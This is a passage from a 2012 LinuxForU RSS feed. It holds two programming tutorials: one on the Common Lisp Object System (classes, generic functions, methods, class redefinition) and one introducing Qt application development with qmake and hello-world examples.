rel="bookmark" class="crp_title">Getting Started with Inotify</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/bios/" title="BIOS" rel="tag">BIOS</a>, <a href="http://www.linuxforu.com/tag/boot/" title="boot" rel="tag">boot</a>, <a href="http://www.linuxforu.com/tag/device-drivers/" title="device drivers" rel="tag">device drivers</a>, <a href="http://www.linuxforu.com/tag/dos/" title="DOS" rel="tag">DOS</a>, <a href="http://www.linuxforu.com/tag/fdisk/" title="fdisk" rel="tag">fdisk</a>, <a href="http://www.linuxforu.com/tag/hard-disk-drive/" title="Hard disk drive" rel="tag">Hard disk drive</a>, <a href="http://www.linuxforu.com/tag/hard-disks/" title="hard disks" rel="tag">hard disks</a>, <a href="http://www.linuxforu.com/tag/kernel/" title="kernel" rel="tag">kernel</a>, <a href="http://www.linuxforu.com/tag/kernel-programming/" title="kernel programming" rel="tag">kernel programming</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/linked-list-head/" title="linked-list head" rel="tag">linked-list head</a>, <a href="http://www.linuxforu.com/tag/linux/" title="Linux" rel="tag">Linux</a>, <a href="http://www.linuxforu.com/tag/linux-device-drivers/" title="linux device drivers" rel="tag">linux device drivers</a>, <a href="http://www.linuxforu.com/tag/linux-device-drivers-series/" title="Linux Device Drivers Series" rel="tag">Linux Device Drivers Series</a>, <a href="http://www.linuxforu.com/tag/mbr/" title="MBR" rel="tag">MBR</a>, <a href="http://www.linuxforu.com/tag/mechanical-engineering/" title="mechanical engineering" rel="tag">mechanical engineering</a>, <a href="http://www.linuxforu.com/tag/minix/" title="Minix" rel="tag">Minix</a>, <a href="http://www.linuxforu.com/tag/operating-system/" title="operating system" rel="tag">operating system</a>, <a href="http://www.linuxforu.com/tag/partition-table/" title="Partition table" rel="tag">Partition table</a>, <a href="http://www.linuxforu.com/tag/partitions/" title="partitions" rel="tag">partitions</a>, <a href="http://www.linuxforu.com/tag/platters/" title="platters" rel="tag">platters</a>, <a href="http://www.linuxforu.com/tag/sectors/" title="sectors" rel="tag">sectors</a>, <a href="http://www.linuxforu.com/tag/storage-systems/" title="storage systems" rel="tag">storage systems</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/device-drivers-partitions-hard-disk/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Lisp: Tears of Joy, Part 8</title><link>http://www.linuxforu.com/2012/01/lisp-tears-of-joy-part-8/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=lisp-tears-of-joy-part-8</link> <comments>http://www.linuxforu.com/2012/01/lisp-tears-of-joy-part-8/#comments</comments> <pubDate>Tue, 31 Jan 2012 07:33:52 +0000</pubDate> <dc:creator>Vivek Shangari</dc:creator> <category><![CDATA[Coding]]></category> <category><![CDATA[Developers]]></category> <category><![CDATA[CLOS]]></category> <category><![CDATA[Common Lisp]]></category> <category><![CDATA[Common Lisp Object System]]></category> <category><![CDATA[Conard Barski]]></category> <category><![CDATA[control functions]]></category> <category><![CDATA[Daniel G. Bobrow]]></category> <category><![CDATA[Doug Hoyte]]></category> <category><![CDATA[flow control]]></category> <category><![CDATA[functional programming]]></category> <category><![CDATA[James Hague]]></category> <category><![CDATA[Jon L White]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[Lisp]]></category> <category><![CDATA[Lisp: Tears of Joy series]]></category> <category><![CDATA[Michael Feathers]]></category> <category><![CDATA[object interfaces]]></category> <category><![CDATA[object-oriented programming]]></category> <category><![CDATA[oo approach]]></category> <category><![CDATA[oo programming]]></category> <category><![CDATA[programming]]></category> <category><![CDATA[programming style]]></category> <category><![CDATA[recursion]]></category> <category><![CDATA[Richard P Gabriel]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9429</guid> <description><![CDATA[Lisp has been hailed as the world&#8217;s most powerful programming language. But only the top percentile of programmers use it because of its cryptic syntax and academic reputation. This is rather unfortunate, since...]]></description> <content:encoded><![CDATA[<p><img class="aligncenter size-large wp-image-9431" title="Time to Lisp" src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/lisp-tear-of-joy-590x363.jpg?d9c344" alt="Time to Lisp" width="590" height="363" /><div class="introduction">Lisp has been hailed as the world&#8217;s most powerful programming language. But only the top percentile of programmers use it because of its cryptic syntax and academic reputation. This is rather unfortunate, since Lisp isn&#8217;t that hard to grasp. If you want to be among the crème de la crème, <a href="http://www.linuxforu.com/tag/lisp-tears-of-joy-series/" title="Series of articles on Lisp">this series</a> is for you. This is the eighth article in the series that began in <a href="http://www.linuxforu.com/2011/06/lisp-tears-of-joy-part-1/" title="Lisp: Tears of Joy, Part 1">June 2011</a>.</div><p>In rare moments of self-reflection, when I allow myself to doubt my skills as a Lisp evangelist, I sometimes wonder if I have left behind some of my fellow programmers who favour the object-oriented style of programming. Just because I have been focusing on Lisp as a functional programming paradigm, it doesn&#8217;t mean we don&#8217;t have a role for you in our plans of world domination. Read on to know where you fit in.</p><h2>Functional vs object-oriented (OO) programming</h2><p>With an OO approach, programmers write code that describes in exacting detail the steps that the computer must take to accomplish the goal. They focus on how to perform tasks, and how to track changes in state. They would use loops, conditions and method calls as their primary flow control, and instances of structures or classes as primary manipulation units. OO tries to control state behind object interfaces.</p><p>In contrast, functional programming (FP) involves composing the problem as a set of functions to be executed. FP programmers focus on what information is desired and what transformations are required, by carefully defining the input to each function and what each function returns. They would use function calls, including recursion, as their primary flow control, functions as first-class objects and data collections as primary manipulation units. FP tries to minimise state by using pure functions as much as possible.</p><p><a href="http://twitter.com/#!/mfeathers/status/29581296216">According to Michael Feathers</a>: &#8220;OO makes code understandable by encapsulating moving parts. FP makes code understandable by minimising moving parts.&#8221;</p><p>Conard Barski points out that the critics of the OO programming style may complain that object-oriented techniques force data to be hidden away in a lot of disparate places by requiring them to live inside many different objects. Having data located in disparate places can make programs difficult to understand, especially if that data changes over time.</p><p>Therefore, many Lispers prefer to use functional techniques over object-oriented techniques, though the two can often be used together &#8212; with some care. Nonetheless, there are still many domains in which object-oriented techniques are invaluable, such as in user interface programming or simulation programming.</p><p>On the other hand, James Hague, in his assessment of functional programming argues that, &#8220;100 per cent pure functional programming doesn&#8217;t work. Even 98 per cent pure functional programming doesn&#8217;t work. But if the slider between functional purity and 1980s BASIC-style imperative messiness is kicked down a few notches &#8212; say to 85 per cent &#8212; then it really does work. You get all the advantages of functional programming, but without the extreme mental effort and un-maintainability that increases as you get closer and closer to perfectly pure.&#8221;</p><h2>CLOS</h2><p>If OO is what gets you going, Common Lisp offers the most sophisticated object-oriented programming framework of any major programming language. It&#8217;s called Common Lisp Object System (CLOS). It is customisable at a fundamental level, using the Meta-Object Protocol (MOP). It has been claimed that there&#8217;s really nothing like it anywhere else in programming. It lets you control incredibly complex software without losing control over the code.</p><p>Let the tears of joy flow&#8230;</p><h2>Object-oriented programming in Common Lisp</h2><h3>What is CLOS?</h3><h4>#1: It is a layered system designed for flexibility.</h4><p>One of the design goals of CLOS is to provide a set of layers that separate different programming language concerns from one another. The first level of the Object System provides a programmatic interface to object-oriented programming. This level is designed to meet the needs of most serious users, and to provide a syntax that is crisp and understandable.</p><p>The second level provides a functional interface into the heart of the Object System. This level is intended for programmers who are writing very complex software or a programming environment. The first level is written in terms of this second level.</p><p>The third level provides the tools for programmers who are writing their own object-oriented language. It allows access to the primitive objects and operators of the Object System. It is this level at which the implementation of the Object System itself is based.</p><p>The layered design of CLOS is founded on the meta-object protocol, a protocol that is used to define the characteristics of an object-oriented system. Using the meta-object protocol, other functional or programmatic interfaces to the Object System, as well as other object systems, can be written.</p><h4>#2: It is based on the concept of generic functions rather than on message-passing.</h4><p>This choice is made for two reasons:</p><ol><li>there are some problems with message-passing in operations of more than one argument;</li><li>the concept of generic functions is a generalisation of the concept of ordinary Lisp functions.</li></ol><p>A key concept in object-oriented systems is that given an operation and a tuple of objects on which to apply the operation, the code that is most appropriate to perform the operation is selected, based on the classes of the objects.</p><p>In most message-passing systems, operations are essentially properties of classes, and this selection is made by packaging a message that specifies the operation and the objects to which it applies, before sending that message to a suitable object. That object then takes responsibility for selecting the appropriate piece of code. These pieces of code are called methods.</p><h4>#3: It is a multiple inheritance system.</h4><p>Another key concept in object-oriented programming is the definition of structure and behaviour on the basis of the class of an object. Classes thus impose a type system &#8212; the code that is used to execute operations on objects depends on the classes of the objects. The sub-class mechanism allows classes to be defined that share the structure and the behaviour of other classes. This sub-classing is a tool for modularisation of programs.</p><h4>#4: It provides a powerful method combination facility.</h4><p>Method combination is used to define how the methods that are applicable to a set of arguments can be combined to provide the values of a generic function. In many object-oriented systems, the most specific applicable method is invoked, and that method may invoke other, less specific methods.</p><p>When this happens, there is often a combination strategy at work, but that strategy is distributed throughout the methods as local control structure. Method combination brings the notion of a combination strategy to the surface, and provides a mechanism for expressing that strategy.</p><h4>#5: The primary entities of the system are all first-class objects.</h5><p>In the Common Lisp Object System, generic functions and classes are first-class objects with no intrinsic names. It is possible and useful to create and manipulate anonymous generic functions and classes. The concept of &#8220;first-class&#8221; is important in Lisp-like languages. A first-class object is one that can be explicitly made and manipulated; it can be stored in any location that can hold general objects.</p><h5>What CLOS is not</h3><p>It does not make for a great pickup conversation at the bar. I tried. It did not work!</p><p>It also does not attempt to solve problems of encapsulation. The inherited structure of a class depends on the names of the internal parts of the classes from which it inherits. CLOS does not support subtractive inheritance. Within Common Lisp, there is a primitive module system that can be used to help create separate internal namespaces.</p><h3>Classes</h3><p>The <code>defclass</code> macro is used to define a new class. The definition of a class consists of its name, a list of its direct super-classes, a set of slot specifiers and a set of class options. The direct super-classes of a class are those from which the new class inherits structure and behaviour. When a class is defined, the order in which its direct super-classes are mentioned in the <code>defclass</code> form defines a local precedence order on the class and those super-classes. The local precedence order is represented as a list consisting of the class, followed by its direct super-classes, in the order mentioned in the <code>defclass</code> form. The following two classes define a representation of a point in space. The <code>x-y-position</code> class is a sub-class of the <code>position</code> class:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (defclass position () ())

&gt; (defclass x-y-position (position)
      ((x :initform 0)
       (y :initform 0))
     (:accessor-prefix position-))</pre><p>The <code>position</code> class is useful if we want to create other sorts of representations for spatial positions. The <code>x</code> and <code>y</code> coordinates are initialised to 0 in all instances, unless explicit values are supplied for them. To refer to the x coordinate of an instance of <code>x-y-position</code>, you would write:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (position-x position)</pre><p>To alter the x coordinate of that instance, you would write:</p><pre class="brush: text; gutter: false; first-line: 1">(setf (position-x position) new-x)</pre><p>The macro <code>defclass</code> is part of the Object System programmatic interface and, as such, is on the first of the three levels of the Object System.</p><h3>Generic functions</h3><p>The class-specific operations of the Common Lisp Object System are provided by generic functions and methods. A generic function is one whose behaviour depends on the classes or identities of the arguments supplied to it. The methods associated with the generic function define the class-specific operations of the generic function.</p><p>Like an ordinary Lisp function, a generic function takes arguments, performs a series of operations and returns values. An ordinary function has a single body of code that is always executed when the function is called. A generic function is able to perform different series of operations and to combine the results of the operations in different ways, depending on the class or identity of one or more of its arguments.</p><p>Generic functions are defined by means of the <code>defgeneric-options</code> and <code>defmethod</code> macros. The <code>defgeneric-options</code> macro is designed to allow for the specification of properties that pertain to the generic function as a whole, and not just to individual methods. The <code>defmethod</code> form is used to define a method. If there is no generic function of the given name, however, it automatically creates a generic function with default values for the argument precedence order (left-to-right, as defined by the lambda-list), the generic function class (the class <code>standard-generic-function</code>), the method class (the class <code>standard-method</code>) and the method combination type (<code>standard-method combination</code>).</p><h3>Methods</h3><p>The class-specific operations provided by generic functions are themselves defined and implemented by methods. The class or identity of each argument to the generic function indicates which method or methods are eligible to be invoked.</p><p>A method object contains a method function, an ordered set of parameter specialisers that specify when the given method is applicable, and an ordered set of qualifiers that are used by the method combination facility to distinguish between methods.</p><p>The <code>defmethod</code> macro is used to create a method object. A <code>defmethod</code> form contains the code that is to be run when the arguments to the generic function cause the method that it defines, to be selected. If a <code>defmethod</code> form is evaluated, and a method object corresponding to the given generic function name, parameter specialisers and qualifiers already exists, then the new definition replaces the old.</p><p>Generic functions can be used to implement a layer of abstraction on top of a set of classes. For example, the <code>x-y-position</code> class can be viewed as containing information in polar coordinates.</p><p>Two methods have been defined &#8212; <code>position-rho</code> and <code>position-theta</code>, that calculate the &#961; and &#920; coordinates given an instance of <code>x-y-position</code>:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (defmethod position-rho ((pos x-y-position))
      (let ((x (position-x pos))
            (y (position-y pos)))
         (sqrt (+ (* x x) (* y y)))))

&gt; (defmethod position-theta ((pos x-y-position))
     (atan (position-y pos) (position-x pos)))</pre><p>It is also possible to write methods that update the &#8220;virtual slots&#8221; <code>position-rho</code> and <code>position-theta</code>:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (defmethod-setf position-rho ((pos x-y-position)) (rho)
      (let* ((r (position-rho pos))
           (ratio (/ rho r)))
        (setf (position-x pos) (* ratio (position-x pos)))
        (setf (position-y pos) (* ratio (position-y pos)))))

&gt; (defmethod-setf position-theta ((pos x-y-position)) (theta)
      (let ((rho (position-rho pos)))
       (setf (position-x pos) (* rho (cos theta)))
       (setf (position-y pos) (* rho (sin theta)))))</pre><p>To update the &#961;-coordinate you may write:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (setf (position-rho pos) new-rho)</pre><p>This is precisely the same syntax that would be used if the positions were explicitly stored as polar coordinates.</p><h3>Class redefinition</h3><p>The Common Lisp Object System provides a powerful class-redefinition facility.</p><p>When a <code>defclass</code> form is evaluated, and a class with the given name already exists, the existing class is redefined. Redefining a class modifies the existing class object to reflect the new class definition.</p><p>You may define methods on the generic function <code>class-changed</code> to control the class redefinition process. This generic function is invoked automatically by the system after <code>defclass</code> has been used to redefine an existing class; for example, suppose it becomes apparent that the application that requires representing positions uses polar coordinates more than it uses rectangular coordinates. It might make sense to define a sub-class of <code>position</code> that uses polar coordinates:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (defclass rho-theta-position (position)
      ((rho :initform 0)
      (theta :initform 0))
    (:accessor-prefix position-))</pre><p>The instances of <code>x-y-position</code> can be automatically updated by defining a class-changed method:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (defmethod class-changed ((old x-y-position)
                          (new rho-theta-position))
;; Copy the position information from old to new to make new
;; be a rho-theta-position at the same position as old.
     (let ((x (position-x old))
           (y (position-y old)))
        (setf (position-rho new) (sqrt (+ (* x x) (* y y)))
              (position-theta new) (atan y x))))</pre><p>At this point, we can change an instance of the class <code>x-y-position</code>, <code>p1</code>, to be an instance of <code>rho-theta-position</code> by using change-class:</p><pre class="brush: text; gutter: false; first-line: 1">&gt; (change-class p1 &#039;rho-theta-position)</pre><h3>Inheritance</h3><p>Inheritance is the key to program modularity within CLOS. A typical object-oriented program consists of several classes, each of which defines some aspect of behaviour. New classes are defined by including the appropriate classes as super-classes, thus gathering the desired aspects of behaviour into one class.</p><p>In general, slot descriptions are inherited by sub-classes. That is, slots defined by a class are usually slots implicitly defined by any sub-class of that class, unless the sub-class explicitly shadows the slot definition. A class can also shadow some of the slot options declared in the <code>defclass</code> form of one of its super-classes by providing its own description for that slot.</p><p>A sub-class inherits methods in the sense that any method applicable to an instance of a class is also applicable to instances of any sub-class of that class (all other arguments to the method being the same).</p><p>The inheritance of methods acts the same way regardless of whether the method was created by using <code>defmethod</code> or by using one of the <code>defclass</code> options that cause methods to be generated automatically.</p><p>I hope with this article I have managed to convince OO programmers that Lisp is generous enough to cater to your style of thinking. Stick with me, and I promise that you won&#8217;t be disappointed. So far we&#8217;ve seen how to fit the nuts and bolts into the engine. Next month, we&#8217;ll learn how to paint it a nice shiny red&#8230; I am referring to Graphical Programming in Lisp!</p><h5>References</h5><ul><li><em>Let Over Lambda</em>, Doug Hoyte</li><li><em>CLOS: Integrating Object-Oriented and Functional programming</em>, Richard P. Gabriel, Jon L White, Daniel G. Bobrow</li></ul><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/09/lisp-tears-of-joy-part-4/" rel="bookmark" class="crp_title">Lisp: Tears of Joy, Part 4</a></li><li><a href="http://www.linuxforu.com/2011/12/lisp-tears-of-joy-part-7/" rel="bookmark" class="crp_title">Lisp: Tears of Joy, Part 7</a></li><li><a href="http://www.linuxforu.com/2011/10/lisp-tears-of-joy-part-5/" rel="bookmark" class="crp_title">Lisp: Tears of Joy, Part 5</a></li><li><a href="http://www.linuxforu.com/2011/12/loading-library-files-in-cpp/" rel="bookmark" class="crp_title">Loading Library Files in C++</a></li><li><a href="http://www.linuxforu.com/2011/11/lisp-tears-of-joy-part-6/" rel="bookmark" class="crp_title">Lisp: Tears of Joy, Part 6</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/clos/" title="CLOS" rel="tag">CLOS</a>, <a href="http://www.linuxforu.com/tag/common-lisp/" title="Common Lisp" rel="tag">Common Lisp</a>, <a href="http://www.linuxforu.com/tag/common-lisp-object-system/" title="Common Lisp Object System" rel="tag">Common Lisp Object System</a>, <a href="http://www.linuxforu.com/tag/conard-barski/" title="Conard Barski" rel="tag">Conard Barski</a>, <a href="http://www.linuxforu.com/tag/control-functions/" title="control functions" rel="tag">control functions</a>, <a href="http://www.linuxforu.com/tag/daniel-g-bobrow/" title="Daniel G. Bobrow" rel="tag">Daniel G. Bobrow</a>, <a href="http://www.linuxforu.com/tag/doug-hoyte/" title="Doug Hoyte" rel="tag">Doug Hoyte</a>, <a href="http://www.linuxforu.com/tag/flow-control/" title="flow control" rel="tag">flow control</a>, <a href="http://www.linuxforu.com/tag/functional-programming/" title="functional programming" rel="tag">functional programming</a>, <a href="http://www.linuxforu.com/tag/james-hague/" title="James Hague" rel="tag">James Hague</a>, <a href="http://www.linuxforu.com/tag/jon-l-white/" title="Jon L White" rel="tag">Jon L White</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/lisp/" title="Lisp" rel="tag">Lisp</a>, <a href="http://www.linuxforu.com/tag/lisp-tears-of-joy-series/" title="Lisp: Tears of Joy series" rel="tag">Lisp: Tears of Joy series</a>, <a href="http://www.linuxforu.com/tag/michael-feathers/" title="Michael Feathers" rel="tag">Michael Feathers</a>, <a href="http://www.linuxforu.com/tag/object-interfaces/" title="object interfaces" rel="tag">object interfaces</a>, <a href="http://www.linuxforu.com/tag/object-oriented-programming/" title="object-oriented programming" rel="tag">object-oriented programming</a>, <a href="http://www.linuxforu.com/tag/oo-approach/" title="oo approach" rel="tag">oo approach</a>, <a href="http://www.linuxforu.com/tag/oo-programming/" title="oo programming" rel="tag">oo programming</a>, <a href="http://www.linuxforu.com/tag/programming/" title="programming" rel="tag">programming</a>, <a href="http://www.linuxforu.com/tag/programming-style/" title="programming style" rel="tag">programming style</a>, <a href="http://www.linuxforu.com/tag/recursion/" title="recursion" rel="tag">recursion</a>, <a href="http://www.linuxforu.com/tag/richard-p-gabriel/" title="Richard P Gabriel" rel="tag">Richard P Gabriel</a><br /> ]]></content:encoded> <wfw:commentRss>http://www.linuxforu.com/2012/01/lisp-tears-of-joy-part-8/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Developing Applications on QT, Part 1</title><link>http://www.linuxforu.com/2012/01/developing-applications-qt-part-1/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=developing-applications-qt-part-1</link> <comments>http://www.linuxforu.com/2012/01/developing-applications-qt-part-1/#comments</comments> <pubDate>Tue, 31 Jan 2012 06:26:29 +0000</pubDate> <dc:creator>Manoj Kumar</dc:creator> <category><![CDATA[Coding]]></category> <category><![CDATA[Developers]]></category> <category><![CDATA[application development]]></category> <category><![CDATA[application performance]]></category> <category><![CDATA[C/C++]]></category> <category><![CDATA[cpp]]></category> <category><![CDATA[desktop applications]]></category> <category><![CDATA[GUI]]></category> <category><![CDATA[Java]]></category> <category><![CDATA[LFY January 2012]]></category> <category><![CDATA[Microsoft Windows]]></category> <category><![CDATA[POSIX]]></category> <category><![CDATA[Qt]]></category> <category><![CDATA[Qt applications]]></category> <category><![CDATA[Qt Creator]]></category> <category><![CDATA[Qt Designer]]></category> <category><![CDATA[Qt development]]></category> <category><![CDATA[Qt GUI applications]]></category> <category><![CDATA[Qt Linguist]]></category> <category><![CDATA[software frameworks]]></category> <category><![CDATA[Sun Microsystems]]></category> <category><![CDATA[Symbian]]></category> <category><![CDATA[Trolltech]]></category> <category><![CDATA[xml]]></category><guid isPermaLink="false">http://www.linuxforu.com/?p=9422</guid> <description><![CDATA[This article introduces application development using the Qt GUI framework. There was a time when all desktop applications were developed from scratch. Then came the concept of code reuse. Static and shared libraries...]]></description> <content:encoded><![CDATA[<p><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/qt-dev-open-590x393.jpg?d9c344" alt="It&#039;s Qt" title="It&#039;s Qt" width="590" height="393" class="aligncenter size-large wp-image-9426" /><div class="introduction">This article introduces application development using the Qt GUI framework.</div><p>There was a time when all desktop applications were developed from scratch. Then came the concept of code reuse. Static and shared libraries were created for use in application development, but developers didn&#8217;t stop at that; they came up with software frameworks. Though libraries and frameworks seem to functionally be the same, there are some major differences between them, which should be understood:</p><ul><li>Libraries offer reusability of functionality, whereas frameworks offer reusability of behaviour. For example, a library may provide classes for TCP and UDP sockets, while a framework will provide a class for an abstract socket.</li><li>A library may provide functions used for signals/events, but the framework function is how they interact with the system and other components.</li><li>Libraries are called from application code, but the framework calls application code &#8212; or, you can say, provides services to the code.</li></ul><h2>Desktop applications</h2><p>Desktop applications are very platform-specific. An application compiled for Linux cannot be directly executed on another OS without some sort of emulation, due to differences in system calls and libraries between OSs. A big question was how to write platform-independent applications.</p><p>One method was to develop libraries for each platform, keeping application code the same and recompiling for each target platform. This does make life easier for developers &#8212; but then everything changed with the revolutionary concept of virtual machines from Sun Microsystems, which gave the world the platform-independent Java programming language. Java applications run on the Java Virtual Machine (JVM). Code developed once can be deployed to every platform that has a JVM for it.</p><p>But everything comes with a price. In Java&#8217;s case, the price was application performance. The performance of Java applications is not as good as of C/C++ applications compiled to platform-native code. Another problem is the large memory footprint. No doubt Java is still a leading language, but these days we have some really big data applications (for example, in biotech) with very high performance requirements. So again, the need is to develop applications compilable to native code. Application development using C is time-consuming, while C++ is a better option. We have some frameworks that support C++ for application development. The Qt framework is one of them.</p><h2>Introducing Qt</h2><p><a href="http://qt.nokia.com/">Qt</a> is a cross-platform application framework developed by Trolltech and presently owned by Nokia. Its APIs are for C++. Qt has been extensively used by application developers to develop cross-platform applications.</p><p>Qt can help with graphical application development, network applications, database and multimedia applications, handling XML and 3D, painting, drawing and Web access. As far as platform support is concerned, it supports Linux, Mac OS, Windows, Meego, Embedded Linux and Symbian.</p><h2>Qt architecture</h2><p>In Figure 1, you can see a minimal architecture diagram.</p><div id="attachment_9424" class="wp-caption aligncenter" style="width: 590px"><a href="http://cdn.linuxforu.com/wp-content/uploads/2012/01/fig-1.png?d9c344"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/fig-1-590x179.png?d9c344" alt="Qt architecture" title="Qt architecture" width="590" height="179" class="size-large wp-image-9424" /></a><p class="wp-caption-text">Figure 1: Qt architecture</p></div><p>The top layer is C++ program code. Below that are Qt classes for GUI, WebKit, databases, etc., and then an OS-specific support layer. Earlier, Qt also supported Java; its Java-based version was called Jambie. As Qt development progressed, it was getting difficult to support both C++ and Java, so the decision was made to support only C++.</p><h2>Qt installation</h2><p>Installation methods differ by OS. On Ubuntu 10.04 LTS, I installed Qt via the Synaptic package manager &#8212; install the <code>qtcreator</code> package; dependency resolution will install Qt Assistant, Qt Designer, Qt Linguist and Qt Creator.</p><p>If you want to try out the latest Qt release, you can download the offline installer from their <a href="http://qt.nokia.com/downloads">official  website</a> and install it. Just <code>chmod</code> the installer file to make it executable and run it, and then follow the prompts.</p><h2>A &#8216;Hello World&#8217; program (non-GUI)</h2><p>Open a terminal. Create a directory (first) and create a simple &#8220;Hello World&#8221; program with the following code:</p><pre class="brush: cpp; gutter: false; first-line: 1">#include&lt;QtCore&gt;
int main(){
    qDebug() &lt;&lt; &quot;Hello world\n&quot;;
}</pre><p>The included header file QtCore contains declarations for classes that do not use a GUI. We will look at these in detail in later articles. For now, just use the <code>qDebug</code> class, which outputs debugging messages to the console and is equivalent to <code>cout</code> in traditional C++ programming.</p><p>So how does one compile it? The Trolltech people came out with an easy solution to support cross-platform compilation. First, a project file should be created, and then a <code>Makefile</code> is created using it. Then, just run <code>make</code> to compile the program. When you install QT Creator, a utility called <code>qmake</code> is also installed. This is a cross-platform <code>Makefile</code> generator for Qt. Check out its man pages for more. Run <code>qmake -project</code> to create a project file (<code>.pro</code> extension, with its name that of the containing directory, i.e., first).</p><pre class="brush: text; gutter: false; first-line: 1">$ cat first.pro
######################################################################
# Automatically generated by qmake (2.01a) Mon Nov 28 05:49:29 2011
######################################################################

TEMPLATE = app
TARGET =
DEPENDPATH += .
INCLUDEPATH += .

# Input
SOURCES += main.cpp</pre><p>You can create both applications and libraries; the value of <code>TEMPLATE</code> is <code>app</code>, indicating this is an application. I will cover library development in later articles. The <code>SOURCES</code> entry lists source files in the project, about which  more details appear later in this article series.</p><p>Now, let us generate the <code>Makefile</code> with <code>qmake</code>. It&#8217;s a long file &#8212; it may contain up to 200 lines. Run <code>make</code> to create the executable file:</p><pre class="brush: text; gutter: false; first-line: 1">$ make
g++ -c -pipe -O2 -Wall -W -D_REENTRANT -DQT_NO_DEBUG -DQT_GUI_LIB -DQT_CORE_LIB -DQT_SHARED -I/usr/share/qt4/mkspecs/linux-g++ -I. -I/usr/include/qt4/QtCore -I/usr/include/qt4/QtGui -I/usr/include/qt4 -I. -I. -o main.o main.cpp
make: Circular all &lt;- first dependency dropped.
g++ -Wl,-O1 -o first main.o    -L/usr/lib -lQtGui -lQtCore -lpthread</pre><p>In the last line, you can see that our sample program uses the POSIX thread library too. Run the file with <code>./first</code> to see the output &#8220;Hello world&#8221;. It&#8217;s done! We have successfully compiled our first program.</p><h2>Sample GUI program</h2><p>Qt has an option to create UI files using a drag-and-drop method, which we will explore in the next article. For now, let us hand-code a sample simple GUI program:</p><pre class="brush: cpp; gutter: false; first-line: 1">

#include&lt;QApplication&gt;
#include&lt;QLabel&gt;

int main(int argc, char *argv[]){
    QApplication a(argc, argv);
    QLabel    label;
    label.setText(&quot;Hello World&quot;);
    label.show();
    a.exec();
}</pre><p>In the first example, there was no GUI. The program terminates when main returns. However, in GUI programs, we can&#8217;t do that, or the application will not be usable. We want the GUI to run until the user closes the window. To achieve this, run your program in a loop till this happens, so you use the event-loop-based class <code>QApplication</code>. When you create an object of this class and call its <code>exec()</code> function, main never returns. The application keeps on waiting for user input events.</p><p>The second header file contains the class <code>QLabel</code>, a simple widget used to display text. Instantiate it and set its text to &#8220;Hello World&#8221;. When a widget&#8217;s <code>show()</code> function is called, then it becomes a window. So the widget label will be seen like a window. In Figure 2, you can see the resultant label window with title bar. You can resize the output window simply with the help of the mouse.</p><div id="attachment_9423" class="wp-caption aligncenter" style="width: 422px"><img src="http://cdn.linuxforu.com/wp-content/uploads/2012/01/fig2.png?d9c344" alt="Widget label" title="Widget label" width="422" height="256" class="size-full wp-image-9423" /><p class="wp-caption-text">Figure 2: Widget label</p></div><p>In the next articles, we will cover the core classes of Qt. In the meanwhile, I suggest you go through the <a href="http://doc.qt.nokia.com/">official documentation</a>.</p><div class="imagecredit">Feature image courtesy: <a href="http://www.flickr.com/photos/nokia_fan/5072435170/">nokia_fan</a>. Reused under the terms of CC-BY-NC 2.0 License.</div><div id="crp_related"><h5>Related Posts:</h5><ul><li><a href="http://www.linuxforu.com/2011/12/loading-library-files-in-cpp/" rel="bookmark" class="crp_title">Loading Library Files in C++</a></li><li><a href="http://www.linuxforu.com/2011/06/qemu-for-embedded-systems-development-part-1/" rel="bookmark" class="crp_title">Using QEMU for Embedded Systems Development, Part 1</a></li><li><a href="http://www.linuxforu.com/2011/08/integrating-google-app-engine-and-eclipse/" rel="bookmark" class="crp_title">Integrating Google App Engine and Eclipse</a></li><li><a href="http://www.linuxforu.com/2011/08/joy-of-programming-calling-virtual-functions-from-constructors/" rel="bookmark" class="crp_title">Joy of Programming: Calling Virtual Functions from Constructors</a></li><li><a href="http://www.linuxforu.com/2011/10/lets-play-with-codeigniter/" rel="bookmark" class="crp_title">Let&#8217;s Play with CodeIgniter</a></li></ul></div>Tags: <a href="http://www.linuxforu.com/tag/application-development/" title="application development" rel="tag">application development</a>, <a href="http://www.linuxforu.com/tag/application-performance/" title="application performance" rel="tag">application performance</a>, <a href="http://www.linuxforu.com/tag/cc/" title="C/C++" rel="tag">C/C++</a>, <a href="http://www.linuxforu.com/tag/cpp/" title="cpp" rel="tag">cpp</a>, <a href="http://www.linuxforu.com/tag/desktop-applications/" title="desktop applications" rel="tag">desktop applications</a>, <a href="http://www.linuxforu.com/tag/gui/" title="GUI" rel="tag">GUI</a>, <a href="http://www.linuxforu.com/tag/java/" title="Java" rel="tag">Java</a>, <a href="http://www.linuxforu.com/tag/lfy-january-2012/" title="LFY January 2012" rel="tag">LFY January 2012</a>, <a href="http://www.linuxforu.com/tag/microsoft-windows/" title="Microsoft Windows" rel="tag">Microsoft Windows</a>, <a href="http://www.linuxforu.com/tag/posix/" title="POSIX" rel="tag">POSIX</a>, <a href="http://www.linuxforu.com/tag/qt/" title="Qt" rel="tag">Qt</a>, <a href="http://www.linuxforu.com/tag/qt-applications/" title="Qt applications" rel="tag">Qt applications</a>, <a href="http://www.linuxforu.com/tag/qt-creator/" title="Qt Creator" rel="tag">Qt Creator</a>, <a href="http://www.linuxforu.com/tag/qt-designer/" title="Qt 